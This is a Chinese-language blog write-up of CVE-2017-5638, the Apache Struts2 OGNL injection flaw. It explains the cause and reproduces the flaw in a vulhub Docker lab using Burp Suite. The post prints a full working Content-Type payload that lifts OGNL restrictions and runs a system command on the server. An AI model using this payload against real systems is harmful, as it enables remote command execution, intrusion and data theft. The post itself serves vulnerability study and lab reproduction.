CVE-2017-5638
影响范围:
Struts 2.3.5 – 2.3.31
Struts 2.5 – 2.5.10
漏洞类型:
OGNL表达式注入
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测
利用原理:
漏洞产生主要原因是Struts2有一个复杂功能,给错误信息赋动态变量,构造的payload通过错误信息进入到动态变量,后续通过动态变量抛出报错信息同时执行敏感命令。Struts2默认使用Jakarta库来解析上传文件,通过构造异常的Content-Type,Jakarta解析器无法识别并抛出该字符串错误,Struts2将错误转化为可读错误提示,findText()函数解析时候,错误信息内有%(#符号,识别为需要计算的表达式,OGNL引擎解析并执行括号里面的Java代码,即敏感命令
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-045
#拉取镜像
docker-compose up -d可以通过docker ps查看镜像

用burpsuite抓取http://公网:8080流量包

使用Repeater模块

随便添加参数

修改Content-Type内容,换成下面的恶意payload,并删掉加入的参数
%{(#nick='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds={'id'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
发送后,响应码为200,且执行了命令id

本文链接:
/archives/cve-2017-5638
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧